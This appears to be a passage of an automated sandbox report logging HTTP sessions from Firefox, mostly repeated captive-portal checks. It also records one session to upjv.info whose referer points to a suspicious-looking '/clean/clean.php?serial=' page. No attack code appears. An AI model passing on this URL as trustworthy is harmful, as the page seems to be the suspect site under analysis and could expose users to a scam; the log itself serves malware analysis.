                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:03.305134058 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.323160887 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.811796904 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:13.937843084 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68073
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:21.645242929 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:21.770792007 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68081
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:31.777755022 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:41.791220903 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:51.802176952 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.772403955 CEST303OUTGET /canonical.html HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:40:54.898237944 CEST298INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 90
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 14:45:40 GMT
                                                                                                                                                                                                                                                                  Age: 68114
                                                                                                                                                                                                                                                                  Content-Type: text/html
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e
                                                                                                                                                                                                                                                                  Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:41:04.909547091 CEST6OUTData Raw: 00
                                                                                                                                                                                                                                                                  Data Ascii:


                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                  6192.168.2.54979646.105.204.6801088C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:29.730742931 CEST325OUTGET /favicon.ico HTTP/1.1
                                                                                                                                                                                                                                                                  Host: upjv.info
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: image/avif,image/webp,*/*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Referer: http://upjv.info/clean/clean.php?serial=F2LEUD3EOH
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:30.492362976 CEST511INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                  date: Mon, 21 Oct 2024 09:39:30 GMT
                                                                                                                                                                                                                                                                  content-type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                                                  x-iplb-request-id: 90D90203:BB96_D5BA2111:0050_67162152_5BDF7:52D1
                                                                                                                                                                                                                                                                  Content-Encoding: gzip
                                                                                                                                                                                                                                                                  Age: 0
                                                                                                                                                                                                                                                                  X-CDN-Cache: MISS
                                                                                                                                                                                                                                                                  X-CDN-Request-ID: 1065748001
                                                                                                                                                                                                                                                                  X-CDN-Pop: bhs
                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Data Raw: 30 30 61 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8e 31 0f 82 30 10 85 f7 fe 8a 93 5d 0e 0d e3 a5 83 02 91 04 91 98 32 38 62 5a 53 12 a4 48 8b c6 7f 2f 85 c5 f1 dd fb ee cb a3 4d 72 39 8a 5b 95 c2 49 9c 0b a8 ea 43 91 1f 21 d8 22 e6 a9 c8 10 13 91 ac cd 3e 8c 10 d3 32 e0 8c b4 7b 76 9c b4 6a e4 1c 5c eb 3a c5 e3 28 86 d2 38 c8 cc d4 4b c2 f5 c8 08 17 88 ee 46 7e fd df 8e ff 31 73 62 34 70 a1 15 8c ea 35 29 eb 94 84 fa 5a c0 a7 b1 d0 cf dc c3 73 60 7a 70 ba b5 60 d5 f8 56 63 48 38 78 ef 62 9c 1d 7e 09 fb 01 f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                  Data Ascii: 00adM10]28bZSH/Mr9[IC!">2{vj\:(8KF~1sb4p5)Zs`zp`VcH8xb~|<0


                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                  7192.168.2.54980234.107.221.82801088C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:31.189220905 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache


                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                  8192.168.2.54982934.107.221.82801088C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.056700945 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:35.651025057 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74712
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:37.967323065 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:38.092111111 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74715
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.267060041 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.391824961 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74719
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.813014030 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:42.938030958 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74719
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.209697962 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.334613085 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74722
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.817117929 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:45.956820011 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74722
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.531864882 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:46.656167030 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74723
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.219775915 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.344099045 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74724
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.848978996 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:47.975694895 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74724
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.808099031 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:51.932333946 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74728
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.093708038 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.218050957 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74729
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.581221104 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.706368923 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74729
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.724517107 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:52.850567102 CEST216INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                  Server: nginx
                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                  Via: 1.1 google
                                                                                                                                                                                                                                                                  Date: Sun, 20 Oct 2024 12:54:23 GMT
                                                                                                                                                                                                                                                                  Age: 74729
                                                                                                                                                                                                                                                                  Content-Type: text/plain
                                                                                                                                                                                                                                                                  Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600
                                                                                                                                                                                                                                                                  Data Raw: 73 75 63 63 65 73 73 0a
                                                                                                                                                                                                                                                                  Data Ascii: success
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:53.298027039 CEST305OUTGET /success.txt?ipv4 HTTP/1.1
                                                                                                                                                                                                                                                                  Host: detectportal.firefox.com
                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                  Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                  Pragma: no-cache
